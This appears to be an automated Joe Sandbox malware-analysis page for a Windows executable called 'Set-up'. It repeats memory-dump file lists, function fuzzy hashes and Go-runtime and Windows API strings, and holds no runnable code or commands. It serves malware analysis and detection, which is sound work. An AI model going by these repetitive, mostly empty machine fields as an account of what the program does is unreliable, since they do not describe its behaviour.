Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb1e568d071a6646065b5d9e94185b0ab55dd727f95450bde45dc5f950a1944
Instruction ID: e04c1b8d984c9bcd907c60d42c617a6eec9a510c381bad4813e51b21e0565d87
Opcode Fuzzy Hash: 2eb1e568d071a6646065b5d9e94185b0ab55dd727f95450bde45dc5f950a1944
Instruction Fuzzy Hash: 6581D776A487458FC724CE69C88062BB7E2BBD9311F28862DDDA587382DB30D90D9B51

Function 00D4CBF1 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: becd63253d31ab47b360270ae3c7d20c99aec6aad6aa9df965d3fe123b03f889
Instruction ID: 23bb4d2c09881b64eba5dba3bff54753c890cb46c17bc124818961704c500470
Opcode Fuzzy Hash: becd63253d31ab47b360270ae3c7d20c99aec6aad6aa9df965d3fe123b03f889
Instruction Fuzzy Hash: 8A7185B4A043498FC764EF24C8C0A5AB7A1BB59700F1945ADED998B303E770ED46CBB4

Function 00D66C20 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc0546fb8cbb8c3abf9b1c2c5d84b0553d1f2db9be89524296908967b682a49
Instruction ID: 6cbc866bc346567319328a5ba42ba017e4a133ab163dc1311c03a3a31df6721f
Opcode Fuzzy Hash: ccc0546fb8cbb8c3abf9b1c2c5d84b0553d1f2db9be89524296908967b682a49
Instruction Fuzzy Hash: 2581D1B46083419FC308DF18C590A2ABBE1FFC9344F108A2DF99A97352D735E945CBA6

Function 00D67F00 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8fe8dab98bcdb554b0bb8f9b5152434e1b8f6c152cad3aa19543ed182f13870
Instruction ID: 3e5cfe476cce0d94dd756753caf28fddc5630e30c6109fb63cb5e77e309d227d
Opcode Fuzzy Hash: e8fe8dab98bcdb554b0bb8f9b5152434e1b8f6c152cad3aa19543ed182f13870
Instruction Fuzzy Hash: CA51AFB5A083198FC715DF28C4C0669B7E1FF88304F454A6DE899CB342EB75D949CBA2

Function 00D4B4A0 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 143d14a6fde0c87926bc0b613572bd690a24ed6e16fcd2f6bf66bdf9dcf2b012
Instruction ID: 97ff830b3d339b3454be35acb3344ec5cf98398a3513f2ea5cb00d532f2b77ce
Opcode Fuzzy Hash: 143d14a6fde0c87926bc0b613572bd690a24ed6e16fcd2f6bf66bdf9dcf2b012
Instruction Fuzzy Hash: 3841C271908B448BC706DF78C49132AB3E1FFD5394F158B2EE84AAB292EB35D8429751

Function 00D51180 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a06e62db61cf3e97b2c77cef7c57e6abafe72a63297e7f352e6cbcd9dcfe7c6
Instruction ID: 1e3999b37b94148f6330c38748db6f05f7b847589ef62e72decda5218264055f
Opcode Fuzzy Hash: 9a06e62db61cf3e97b2c77cef7c57e6abafe72a63297e7f352e6cbcd9dcfe7c6
Instruction Fuzzy Hash: 6E4132B3C187298BC700AF4D8840249F7E5ABD4620F5FCA5EDDA857311E7B1AD158BC6

Function 00D47D40 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd208120142b5da4891bc6e63765b186c605bd24e8e3fab38168c8d18cde163
Instruction ID: 4fd37df0b4d7795d1212df6543f444fb3de977ab34a8f3b534f3338458681390
Opcode Fuzzy Hash: 4cd208120142b5da4891bc6e63765b186c605bd24e8e3fab38168c8d18cde163
Instruction Fuzzy Hash: 9F21C231B042458BC718CE2DC89123AF7E2AFC9310F59857DD49ACB691EB35A80AC765

Function 00D9E0C0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4420e17962c3b5a215d80c6de2bf87868819b9359a32df3510e6d4bf144b281
Instruction ID: ef563db0a0440ddb97b6dc9aa7d464ce59705fad8fa46959df65eaa022a97da5
Opcode Fuzzy Hash: f4420e17962c3b5a215d80c6de2bf87868819b9359a32df3510e6d4bf144b281
Instruction Fuzzy Hash: A4E0B6B04083419FC310EF4CC48110ABBE0BB84220F408B6DA8B947391D37495088B92

Function 00D547C0 Relevance: 16.6, Strings: 13, Instructions: 399COMMON

Download Yara Rule

Strings

to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlServiceCreateEventExWCreateMu, xrefs: 00D54B1B, 00D54BC5, 00D54C4D
: cannot pass runtime: g is running but p is notruntime: unexpected return pc for schedule: spinning with local workslice bounds out of range [%x:%y:]slice bounds out of range [:%x:%y]too many references: cannot spliceunexpected , xrefs: 00D54AF9, 00D54BA3, 00D54C2B
, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcessesExitWindowsExFindFirstFileFindNextFileW, xrefs: 00D54D9B
+, xrefs: 00D54DCF
nil elem type!no module datano such devicepollCache.lockprotocol errorruntime: full=s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod, xrefs: 00D54D54
: pointer not in allocated blockruntime: GetQueuedCompletionStatusEx failed (errno= runtime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetx509: cannot verify signature: insecure algorithm %v, xrefs: 00D54D3E
: second argument is runtime: blocked read on closing polldescruntime: typeBitsBulkBarrier without typestopTheWorld: not stopped (stopwait != 0)strconv: illegal AppendInt/FormatInt baseunexpected call to os.Exit(0) during testx509: cannot p, xrefs: 00D54CA9
: pointer not at beginning of allocated blockx509: inner and outer signature algorithm identifiers don't matchx509: issuer name does not match subject from issuing certificatelast data directory entry is a reserved field, must be set to zer, xrefs: 00D54CEE
: first argument is : duplicatehandle failedruntime: SyscallN has too many argumentsruntime: out of memory: cannot allocate runtime: typeBitsBulkBarrier with type ryuFtoaFixed32 called with negative prectoo many invalid nam, xrefs: 00D54D81
: first argument is nilruntime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramruntime:stoplockedm: lockedg (atomicstatus=transform: inconsistent byte count returnedun, xrefs: 00D54DC6
, not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D54CC3
because dotdotdot in async preempt to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDi, xrefs: 00D54C67
(, xrefs: 00D54D8B

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: : cannot pass runtime: g is running but p is notruntime: unexpected return pc for schedule: spinning with local workslice bounds out of range [%x:%y:]slice bounds out of range [:%x:%y]too many references: cannot spliceunexpected $ : first argument is : duplicatehandle failedruntime: SyscallN has too many argumentsruntime: out of memory: cannot allocate runtime: typeBitsBulkBarrier with type ryuFtoaFixed32 called with negative prectoo many invalid nam$ : first argument is nilruntime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramruntime:stoplockedm: lockedg (atomicstatus=transform: inconsistent byte count returnedun$ : pointer not at beginning of allocated blockx509: inner and outer signature algorithm identifiers don't matchx509: issuer name does not match subject from issuing certificatelast data directory entry is a reserved field, must be set to zer$ : pointer not in allocated blockruntime: GetQueuedCompletionStatusEx failed (errno= runtime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetx509: cannot verify signature: insecure algorithm %v$ : second argument is runtime: blocked read on closing polldescruntime: typeBitsBulkBarrier without typestopTheWorld: not stopped (stopwait != 0)strconv: illegal AppendInt/FormatInt baseunexpected call to os.Exit(0) during testx509: cannot p$ because dotdotdot in async preempt to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDi$ to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlServiceCreateEventExWCreateMu$($+$, not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcessesExitWindowsExFindFirstFileFindNextFileW$nil elem type!no module datano such devicepollCache.lockprotocol errorruntime: full=s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod
API String ID: 0-576860315
Opcode ID: 71fcc406cc8b85b62a47acf0e3d9a70f36d7a5bbd1f45daa7a0e84043d6c3f72
Instruction ID: aa5fb032c615bae07eba11cab05c1af942d48993c397c23d5b083e8dfeb3fa0f
Opcode Fuzzy Hash: 71fcc406cc8b85b62a47acf0e3d9a70f36d7a5bbd1f45daa7a0e84043d6c3f72
